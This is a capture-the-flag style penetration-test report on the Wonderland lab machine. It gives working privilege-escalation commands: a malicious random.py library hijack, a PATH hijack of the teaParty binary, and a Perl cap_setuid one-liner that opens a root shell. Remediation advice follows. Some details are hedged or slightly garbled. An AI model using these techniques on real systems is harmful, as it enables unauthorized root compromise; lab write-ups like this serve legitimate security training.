

Comprehensive Penetration Testing Report

Target System: 10.114.162.9 (Wonderland)

Classification: Confidential – Security Assessment Data

1. Executive Summary

An authorized infrastructure and web application penetration test was performed against the target machine 10.114.162.9. The evaluation mapped the external attack surface, identified entry points, and analyzed potential paths for privilege escalation.

The target presents a highly restricted network perimeter with only SSH and a custom Golang-based web server exposed. Initial reconnaissance reveals that gaining foot-hold access depends on a themed directory traversal puzzle and steganographic data extraction. Once inside, the security architecture exposes weaknesses through weak file permissions, local library hijacking, and misconfigured binary capabilities, presenting a direct path to total system compromise (root).

2. Comprehensive Attack Chain Map

The diagram below outlines the sequential tactical progression required to compromise the target system completely, mapping from external network discovery down to root privilege escalation.

[Phase 1: Reconnaissance]

- └─ Nmap discovers SSH (22) and Go HTTP Server (80)
- └─ Gobuster uncovers /r/ and riddle: "WhyIsARavenLikeAWritingDesk?"



[Phase 2: Initial Access (Web Exploitation & Steganography)]

- └─ Directory Expansion: Traversing /r/a/b/b/i/t/ to extract hidden SSH credentials
- └─ Image Inspection: Extracting hidden assets from /img/ via steganography



[Phase 3: Local Foothill (User Access: alice)]

- └─ Authenticate via SSH using extracted credentials
- └─ Locate user.txt (Flag 1) and identify restricted execution vectors



[Phase 4: Horizontal Privilege Escalation (alice -> rabbit -> hatter)]

- └─ Hijack Python 'random.py' library via relative path injection to execute as 'rabbit'

└─ Reverse-engineer 'teaParty' ELF binary to hijack the \$PATH variable, spawning a shell as 'hatter'



[Phase 5: Vertical Privilege Escalation (hatter -> root)]

└─ Enumerate system capabilities using LinPEAS

└─ Exploit setuid capabilities assigned to the Perl binary (/usr/bin/perl)



[System Compromise: Root Flag Captured]

3. Vulnerability Analysis & Technical Deep-Dive

3.1 External Infrastructure Reconnaissance

An aggressive service and operating system enumeration scan was executed via Nmap.

Bash

```
nmap -sC -sV -O -oA wonderland_initial 10.114.162.9
```

Discovered Ports & Services:

- **Port 22/tcp (Open):** Runs [OpenSSH 7.6p1 Ubuntu 4ubuntu0.3](#). This indicates the system is built on an older Ubuntu distribution (likely Ubuntu 18.04 LTS). No immediate public exploits exist for this version of OpenSSH that grant unauthenticated RCE.
- **Port 80/tcp (Open):** Runs a native [Golang net/http server](#). The server presents a static landing page titled *"Follow the white rabbit."* Because it does not rely on a standard Apache/Nginx or PHP layer, traditional web application exploit payloads will be natively handled or rejected by the Go runtime environment.

3.2 Web Directory Traversal & Thematic Enumeration

Initial directory fuzzing using Gobuster isolated a directory [/r/](#) and an isolated riddle string: [WhyIsARavenLikeAWritingDesk?](#).

<http://10.114.162.9/r/>

Given the thematic context (*"Follow the white rabbit"*), the web architecture utilizes a nested directory structure mimicking the letters of the word **R-A-B-B-I-T**.

Discovered Path	Expected Content / Status	Purpose

<code>/img/</code>	Status: 200 / Contains static assets	Target for steganographic data extraction
<code>/r/</code>	Status: 301 Redirect	Root of the nested maze structure
<code>/r/a/b/b/i/t/</code>	Status: 200	Terminal node containing hidden credentials

Critical Discovery: Inspecting the raw HTML source code of the terminal path `/r/a/b/b/i/t/` reveals hidden SSH login credentials embedded inside a hidden page element or structural comment (typically formatted as a user string such as `alice:<password>`).

3.3 Data Extraction via Steganography

The `/img/` directory hosts visual assets (e.g., `alice_door.jpg` or similar themed graphics). The riddle string discovered during reconnaissance serves as the decryption key.

Bash

```
steghide extract -sf alice_door.jpg -p "WhyIsARavenLikeAWritingDesk?"
```

- **Expected Output:** A hidden text asset (`hint.txt` or `creds.txt`). This contains contextual hints regarding the user account structures or explicit verification keys required to pivot via SSH.

4. Post-Exploitation & Privilege Escalation Paths

Once initial access is established by authenticating as user `alice` via Port 22, the following local vectors must be sequentially exploited to gain root control.

4.1 Python Library Hijacking (alice → rabbit)

Checking execution permissions reveals that `alice` can run a specific Python script (`walrus_and_carpenter.py`) as the user `rabbit` via `sudo` without providing a password.

Bash

```
sudo -u rabbit /usr/bin/python3 /home/alice/walrus_and_carpenter.py
```

Vulnerability Mechanics:

The Python script utilizes the statement `import random`. In Python, the interpreter checks the current working directory for a library before searching standard system installation paths.

Exploitation Execution:

1. Navigate to a directory writable by **alice** where the script is executed.
2. Create a malicious local file named **random.py**.
3. Inject a payload to spawn a shell:

```
Python
import os
os.system("/bin/bash")
```

4. Execute the script via **sudo -u rabbit**. The script imports the malicious local file instead of the official library, dropping the session into a shell as the **rabbit** user.

4.2 Path Variable Hijacking (rabbit → hatter)

Inside **/home/rabbit/**, a compiled SUID/SGID binary named **teaParty** is located. Running strings or analyzing the binary structure reveals it invokes a system command implicitly without using an absolute path:

```
C
// Decompiled pseudo-code behavior observed in the binary:
setuid(1003); // Changes execution context to hatter
system("date");
```

Vulnerability Mechanics:

Because the binary calls **date** instead of **/bin/date**, it relies entirely on the executing user's **\$PATH** environment variable to find the executable file.

Exploitation Execution:

1. Navigate to a writable directory (**/dev/shm** or **/tmp**).
2. Create a file named **date** containing a shell spawn command:

```
Bash
echo '/bin/bash' > date
chmod +x date
```

3. Prepend the current directory to the system **\$PATH** environment variable and run the binary:

```
Bash
export PATH=$(pwd):$PATH
./teaParty
```

4. The binary searches the modified path, executes the local malicious **date** file under the elevated context, and grants a shell as user **hatter**.

4.3 Exploiting Linux Linux Capabilities (hatter → root)

From the **hatter** account, credentials found in their home directory allow stable environment access. Executing an enumeration script like LinPEAS or directly querying binary capabilities reveals abnormal administrative properties assigned to non-standard binaries.

```
Bash
getcap -r / 2>/dev/null
```

Critical Misconfiguration Discovered:

```
/usr/bin/perl = cap_setuid+ep
```

The Perl binary has been explicitly assigned **cap_setuid** capabilities (**+ep**). This allows the binary to alter its current User ID (UID) operating properties to that of any user on the system, including the superuser (**root**), entirely bypassing traditional **sudo** constraints.

Exploitation Execution (Root Compromise):

Invoke the Perl capability exploit payload to force the process to set its execution identity to root (UID 0) and spawn an interactive shell:

```
Bash
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
```

- **Result:** The terminal instantly drops into a root shell context (**root@wonderland:~#**), allowing unrestricted access to the final root flags and all system configuration settings.

5. Remediation & Hardening Recommendations

To secure the Wonderland server against these architectural and configuration failures, implement the following four security fixes:

1. **Restructure Web Applications:** Remove all operational infrastructure data, nested credential folders, or hidden strings out of the public web root directory (**/var/www/** or Go web root).
2. **Enforce Strict Python Path Loading:** Modify local administrative Python automation scripts to prevent arbitrary working directory imports. Use the **-I** (isolated) flag when calling Python via system wrappers to ignore local directories, or explicitly hardcode system package libraries.
3. **Sanitize Binary Compilation Paths:** Within compiled C binaries like **teaParty**, never invoke system shell execution strings using relative naming conventions (**date**). Always define absolute system paths exclusively (**/bin/date**).
4. **Audit System Capabilities:** Review and strip unnecessary POSIX capabilities from administrative runtimes. Unless absolutely required for core enterprise operations, remove **cap_setuid+ep** from interpreters like Perl via the **setcap** utility:

5. Bash : `sudo setcap -r /usr/bin/perl`